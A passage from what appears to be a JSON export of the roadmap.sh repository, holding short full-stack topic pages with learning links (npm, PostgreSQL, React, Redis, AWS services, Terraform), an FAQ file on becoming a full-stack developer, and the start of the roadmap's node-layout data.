    "content": "# npm\n\nnpm is a package manager for the JavaScript programming language maintained by npm, Inc. npm is the default package manager for the JavaScript runtime environment Node.js.\n\nVisit the following resources to learn more:\n\n- [@opensource@How to NPM](https://github.com/workshopper/how-to-npm)\n- [@article@Modern JavaScript for Dinosaurs](https://peterxjang.com/blog/modern-javascript-explained-for-dinosaurs.html)\n- [@article@An Absolute Beginners Guide to Using npm](https://nodesource.com/blog/an-absolute-beginners-guide-to-using-npm/)\n- [@video@NPM tutorial for Beginners](https://www.youtube.com/watch?v=2V1UUhBJ62Y)\n- [@video@NPM Crash Course](https://www.youtube.com/watch?v=jHDhaSSKmB0)\n- [@feed@Explore top posts about NPM](https://app.daily.dev/tags/npm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/postgresql@HGhnbMg6jh6cAmUH4DtOx.md",
    "content": "# PostgreSQL\n\nPostgreSQL, also known as Postgres, is a free and open-source relational database management system emphasizing extensibility and SQL compliance.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@PostgreSQL Website](https://www.postgresql.org/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](https://www.postgresqltutorial.com/)\n- [@video@Learn PostgreSQL Tutorial - Full Course for Beginners](https://www.youtube.com/watch?v=qw--VYLpxG4)\n- [@video@Postgres tutorial for Beginners](https://www.youtube.com/watch?v=eMIxuk0nOkU)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/react@khoUtTUxdf8udAzN9_CAb.md",
    "content": "# React\n\nReact is the most popular front-end JavaScript library for building user interfaces. React can also render on the server using Node and power mobile apps using React Native.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated React Roadmap](https://roadmap.sh/react)\n- [@official@React](https://react.dev/)\n- [@official@Getting Started with React](https://react.dev/learn/tutorial-tic-tac-toe)\n- [@video@React JS Course for Beginners](https://www.youtube.com/watch?v=nTeuhbP7wdE)\n- [@video@React Course - Beginners Tutorial for React](https://www.youtube.com/watch?v=bMknfKXIFA8)\n- [@video@Understanding Reacts UI Rendering Process](https://www.youtube.com/watch?v=i793Qm6kv3U)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/redis@Onfd7Sl8LG2sjh2aQY7gb.md",
    "content": "# Redis\n\nRedis is an open source (BSD licensed), in-memory data structure store used as a database, cache, message broker, and streaming engine. Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams. Redis has built-in replication, Lua scripting, LRU eviction, transactions, and different levels of on-disk persistence, and provides high availability via Redis Sentinel and automatic partitioning with Redis Cluster.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Redis Roadmap](https://roadmap.sh/redis)\n- [@official@Redis Website](https://redis.io/)\n- [@official@Redis Documentation](https://redis.io/docs/latest/)\n- [@official@Redis University](https://university.redis.io/academy)\n- [@video@Redis in 100 Seconds](https://www.youtube.com/watch?v=G1rOthIU-uo)\n- [@video@Redis Caching in Node.js](https://www.youtube.com/watch?v=oaJq1mQ3dFI)\n- [@feed@Explore top posts about Redis](https://app.daily.dev/tags/redis?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/restful-apis@vmHbWdmMHF53otXIrqzRV.md",
    "content": "# REST\n\nREST, or REpresentational State Transfer, is an architectural style for providing standards between computer systems on the web, making it easier for systems to communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is a REST API?](https://www.redhat.com/en/topics/api/what-is-a-rest-api)\n- [@article@Roy Fieldings dissertation chapter, Representational State Transfer (REST)](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm)\n- [@article@Learn REST: A RESTful Tutorial](https://restapitutorial.com/)\n- [@video@What Is A RESTful API? Explanation of REST & HTTP](https://www.youtube.com/watch?v=Q-BpqyOT3a8)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/route53@5zyYpu9cyuTFwQCjTbHpS.md",
    "content": "# Route53\n\nRoute53 is AWS's Domain Name System (DNS) service that plays a critical role in connecting user requests to your web application or other resources within your infrastructure. With Route53, you can easily manage domains, redirect traffic, and configure domain-related settings. It has several advantages, including high availability, low latency, and integration with other AWS resources.\n\nVisit the following resources to learn more:\n\n- [@official@Route53](https://aws.amazon.com/route53/)\n- [@video@Amazon Route 53](https://www.youtube.com/watch?v=RGWgfhZByAI)\n- [@video@AWS Route 53 Domain Name](https://www.youtube.com/watch?v=jDz4j_kkyLA)\n- [@video@DNS with AWS Route 53](https://www.youtube.com/watch?v=yRIY7BJohfo&t=2s)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/s3@n2Xp_ijJ2OS8xhE7xMWxk.md",
    "content": "# S3\n\nS3 is a service that allows you to store files in the cloud. It's a simple service that you can use to store files and serve them to your users.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon AWS S3](https://aws.amazon.com/s3/)\n- [@video@Upload Images to S3 from Node Back End](https://www.youtube.com/watch?v=NZElg91l_ms)\n- [@video@S3 Bucket Hosting a Static Website](https://www.youtube.com/watch?v=RoY3ekCCxKc&list=PL0X6fGhFFNTcU-_MCPe9dkH6sqmgfhy_M)\n- [@feed@Explore top posts about AWS S3](https://app.daily.dev/tags/aws-s3?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/ses@B-cphY7Imnv6JBMujVIF7.md",
    "content": "# SES\n\nAmazon SES (Simple Email Service) is a scalable, flexible, and cost-effective cloud-based email service that is specifically designed for developers, marketers, and businesses to send and receive marketing, transactional, and notification emails. SES is useful, especially when you need to send a large volume of emails, as it offers high deliverability, reliability, and ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon AWS SES](https://aws.amazon.com/ses/)\n- [@video@Contact Form Submission With AWS SES](https://www.youtube.com/watch?v=HiHflLTqiwU)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/tailwind-css@CVCqdPkq_hGQfI8EEi5RC.md",
    "content": "# Tailwind CSS\n\nCSS Framework that provides atomic CSS classes to help you style components e.g. `flex`, `pt-4`, `text-center` and `rotate-90` that can be composed to build any design, directly in your markup.\n\nVisit the following resources to learn more:\n\n- [@official@Tailwind CSS](https://tailwindcss.com)\n- [@video@Tailwind CSS Full Course for Beginners](https://www.youtube.com/watch?v=lCxcTsOHrjo)\n- [@video@Tailwind CSS Crash Course](https://www.youtube.com/watch?v=UBOj6rqRUME)\n- [@video@Should You Use Tailwind CSS?](https://www.youtube.com/watch?v=hdGsFpZ0J2E)\n- [@feed@Explore top posts about Tailwind CSS](https://app.daily.dev/tags/tailwind-css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/terraform@2kKHuQZScu7hCDgQWxl5u.md",
    "content": "# Terraform\n\nTerraform is an extremely popular open source Infrastructure as Code (IaC) tool that can be used with many different cloud and service provider APIs. Terraform focuses on an immutable approach to infrastructure, with a terraform state file center to tracking the status of your real world infrastructure.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@official@Terraform Website](https://www.terraform.io/)\n- [@official@Terraform Documentation](https://www.terraform.io/docs)\n- [@official@Terraform CDK](https://www.terraform.io/cdktf)\n- [@official@Terraform Tutorials](https://learn.hashicorp.com/terraform)\n- [@video@Intro to Terraform Video](https://www.youtube.com/watch?v=h970ZBgKINg&ab_channel=HashiCorp)\n- [@feed@Explore top posts about Terraform](https://app.daily.dev/tags/terraform?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/full-stack/content/vpc@QtL-bLKtWIdH00K6k_PdC.md",
    "content": "# VPC\n\nVPC stands for **Virtual Private Cloud** and is an essential service provided by AWS that allows you to create a private, isolated section within the AWS cloud, where you can define your own virtual network. It offers a more secure and controlled environment, enabling you to easily launch and manage your resources within your personal network.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon AWS VPC](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html)\n- [@article@Up and Running with AWS VPC](https://cs.fyi/guide/up-and-running-with-aws-vpc)\n- [@article@VPC Basics](https://cloudcasts.io/course/vpc-basics)\n- [@video@AWS VPC & Subnets For Beginners](https://youtu.be/TUTqYEZZUdc)"
  },
  {
    "path": "src/data/roadmaps/full-stack/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../../components/FAQs/FAQs';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Can I learn Full Stack Development in 3 months?',\n    answer: [\n      'You can learn full stack development in 3 months, but only if you are already proficient in either front-end or back-end development, and you just need to pick up the missing half. Otherwise, expecting to learn the ins and outs of web development (both front-end and back-end) in such a short amount of time is too much for a single developer.',\n      \"Usually mastering full stack development takes more time and a lot of hands-on experience. If you only have a 3-month span of time to learn the skill and assuming you already have programming experience, the best thing you can do is to quickly run through [the full stack developer roadmap](https://roadmap.sh/full-stack). While you won't learn everything you need to be a proficient full stack developer, you'll have a basic notion of everything that entails the role.\",\n    ],\n  },\n  {\n    question:\n      'What does a Full Stack Developer job description typically look like?',\n    answer: [\n      \"A typical full stack developer job description will look for proficiency in both front-end and back-end technologies. You'll often see requirements for HTML, CSS, and JavaScript (and related frameworks like React or Angular) alongside server-side languages such as Python, Ruby, or Java.\",\n      'With these technologies, employers will also look for experience with databases (either some flavor of SQL or some more exotic noSQL option), API integration (usually RESTful, although there is always someone asking for GraphQL experience), version control systems like Git, and a knack for problem-solving, but then again, that last one is critical for any dev role.',\n      'They might even mention collaborative skills and a willingness to adapt to new technologies as projects evolve.',\n    ],\n  },\n  {\n    question: 'How should I prepare for a Full Stack Developer Interview?',\n    answer: [\n      'To prepare for a full stack developer interview, you should start by refreshing all web development basics. Starting with HTML, CSS and JavaScript of course, and then moving on to other topics such as the DOM, event bubbling, error handling, HTTP protocol, the client-server pattern and finally making the jump into back-end land, covering topics such as server-side rendering, REST, database management and SQL, just to name a few.',\n      'On top of that, try to practice common coding challenges, review algorithms and data structures, and brush up on system design principles.',\n      'In the end, for full stack developers having a well-rounded portfolio can really help illustrate your experience, so consider working on some small but hyper-focused personal projects to showcase different aspects of your full stack skillset.',\n    ],\n  },\n  {\n    question:\n      'How is a Full Stack Developer different from a Software Engineer?',\n    answer: [\n      'A full stack developer is different from a software engineer because while all full stack devs are software engineers, not all software engineers are full stack devs.',\n      \"You can think of a Full Stack Developer as a specialized software developer that's focused on web applications, handling everything from the visual design on the front-end to server-side logic and databases on the back-end.\",\n      'On the other hand, a Software Engineer has a larger scope and can work on a range of systems and projects, from mobile apps and desktop software to embedded systems and large-scale distributed platforms.',\n    ],\n  },\n  {\n    question: 'What is a Full Stack Engineer?',\n    answer: [\n      'A Full Stack Engineer is usually a term used interchangeably with that of full stack developer. However, the \"engineer\" portion of the name could imply a deeper understanding of system designs, architecture (both in the back-end and front-end), and scalability.',\n      'On the other hand, the full stack \"developer\" might signal a more code-oriented role, where there is less strategy involved and more problem-solving through code.',\n      'In the end, the difference might be barely noticeable, depending on the company and the project.',\n    ],\n  },\n  {\n    question: 'Is Learning Full Stack Development Difficult?',\n    answer: [\n      \"Learning full stack development can be difficult if you're not already versed in one of the two areas tackled by this role, because that means having to learn how the entire web ecosystem works, starting with the browser and its DOM API, all the way down to server-side programming, and the communication between both environments.\",\n      \"While learning full stack development, you'll be mastering multiple technologies, but you have to keep the learning path structured to avoid losing yourself halfway through. This is why using the [full stack roadmap](https://roadmap.sh/full-stack) is such a great idea, it'll help you keep the goal in sight while taking you through all the technologies you'll be using (HTML, JavaScript, CSS, server-side scripting languages, SQL, etc).\",\n      \"If you're just getting started, this process can take anywhere from 6 months to 2 years, depending on the level of experience you already have and your learning pace.\",\n    ],\n  },\n  {\n    question: 'What are the most popular stacks in Full Stack Development?',\n    answer: [\n      \"The most popular stacks in full stack development have become industry standards for a while now. While it is true that you're completely free to pick the best stack that suits your particular needs and context (project timeline, team's experience, etc), there are options that have already been proven to work great together.\",\n      \"Some of the most popular ones include the [MERN stack](https://www.code-clash.net/stacks/MERN) using MongoDB (for a quick and versatile database), Express.js (as the backend framework), React (frontend), and Node.js (server). If you're an Angular developer, you can try the [MEAN stack](https://www.mongodb.com/resources/languages/mean-stack), which is similar to MERN but uses Angular instead of React.\",\n      \"And there are others; for PHP, you have the battle-tested LAMP stack; if you're more into Python, you can try to use Django + React, and if you're into Ruby on Rails, you have the ROR stack (just to name a few).\",\n      \"If you're just getting started and don't know what technologies to focus on, trying a few of these industry-standard tech stacks might be a great starting point.\",\n    ],\n  },\n  {\n    question: 'What are the most common frameworks for full stack development?',\n    answer: [\n      \"For full stack development, the most common frameworks will vary based on your technology preferences. However, for each major tech, there are some industry standards that you can go with if you don't have any other preferences.\",\n      'If JavaScript is your main programming language, then you can use frameworks like ExpressJS, NestJS, or even Hono for the backend, and a front-end library like React (with React router for instance) for all your UI needs. This combo gives you all you need to develop efficient web applications.',\n      'If you\\'re into Python, the Django + DRF (Django REST Framework) will give you all you need to get started. This is a high-level Python framework that follows the \"batteries-included\" philosophy (meaning it comes with everything you need). It has a built-in ORM (great for dealing with that relational database), authentication, and an admin panel, which solves 95% of all your web development needs. And, paired with DRF, you can build a great API-based scalable backend with minimum effort.',\n      \"And finally, if you're more of a Ruby developer, you can always go with Ruby on Rails (RoR), which is built with the convention-over-configuration framework that simplifies full stack development. It works great with the MVC pattern, also comes with an included ORM (ActiveRecord), and has scaffolding tools to help speed up development.\",\n      \"There are plenty of options around, so make sure you do your research before picking the one you'll go with.\",\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/full-stack/full-stack.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"yrZUjoNj7mjOHaZVRiFJV\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -502.08230823147517,\n        \"y\": 497.90458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 63,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -502.08230823147517,\n        \"y\": 497.90458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 63,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 63,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"kPPgIGhyoDoJoUJnP-vOY\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 44.659212053078704,\n        \"y\": -125.50228984395414\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 356,\n      \"height\": 103,\n      \"style\": {\n        \"width\": 356,\n        \"height\": 103\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.659212053078704,\n        \"y\": -125.50228984395414\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 356,\n        \"height\": 103\n      }\n    },\n    {\n      \"id\": \"tmRyxL2cIei7PVHdOvmuJ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 253.00948964805815,\n        \"y\": 1215.2210153640276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"zh4DYU0QpAolXJ6wE0CEe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 253.00948964805815,\n        \"y\": 1215.2210153640276\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 85,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -45.86972326342038,\n        \"y\": 1834.052389726952\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -45.86972326342038,\n        \"y\": 1834.052389726952\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 454,\n      \"height\": 124,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -253.28332913299596,\n        \"y\": 1746.0147859609992\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue Learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -253.28332913299596,\n        \"y\": 1746.0147859609992\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 454,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 454,\n        \"height\": 124\n      }\n    },\n    {\n      \"width\": 162,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -584.5823082314752,\n        \"y\": -192.89091544360696\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Full Stack\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -584.5823082314752,\n        \"y\": -192.89091544360696\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"sQsxo9QyLKZyhMnFUcxhS\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -235.86972326342038,\n        \"y\": 1802.4845433334572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -235.86972326342038,\n        \"y\": 1802.4845433334572\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 81,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -514.0823082314752,\n        \"y\": -273.89091544360696\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -514.0823082314752,\n        \"y\": -273.89091544360696\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 81\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 81\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 45.49718479195076,\n        \"y\": -280.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 45.49718479195076,\n        \"y\": -280.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 58.7005592047509,\n        \"y\": -198.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 58.7005592047509,\n        \"y\": -198.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B0kARTODvCBi0iOF8iiqI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -395.56446376179997,\n        \"y\": 43.404587772901664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mGgx_QTEPmVKf6AijX9fi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -395.56446376179997,\n        \"y\": 43.404587772901664\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dAJHWmGeiYdzZ1ZjrWz1S\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -251.56446376179997,\n        \"y\": 43.404587772901664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mGgx_QTEPmVKf6AijX9fi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -251.56446376179997,\n        \"y\": 43.404587772901664\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T9PB6WQf-Fa9NXKKvVOy_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 28.00948964805815,\n        \"y\": 43.404587772901664\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"khoUtTUxdf8udAzN9_CAb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 28.00948964805815,\n        \"y\": 43.404587772901664\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mGgx_QTEPmVKf6AijX9fi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 298.1821043313223,\n        \"y\": 133.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"npm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 298.1821043313223,\n        \"y\": 133.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WsdUAEaI7FX6DKKhPXUHp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -351.97806963137555,\n        \"y\": 133.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint - Static Webpages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"7JU1cVggMDoZUV-adGsf-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -351.97806963137555,\n        \"y\": 133.40458777290166\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"arAWBttFmMY6g99PcEaeA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -117.38142186176219,\n        \"y\": 69.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"8MhESAMICF6j7X3RL9bFE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 64,\n      \"positionAbsolute\": {\n        \"x\": -117.38142186176219,\n        \"y\": 69.40458777290166\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"2DFzoIUjKdAKGjfu_SCfa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -23.99051035194185,\n        \"y\": 133.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Checkpoint - Interactivity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"a\"\n        },\n        \"oldId\": \"YVMyHFSCVF-GgXydq-SFJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -23.99051035194185,\n        \"y\": 133.40458777290166\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CVVeXklBu8uEr7oyiSEhQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 191.6185781382378,\n        \"y\": 71.40458777290166\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"8MhESAMICF6j7X3RL9bFE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 62,\n      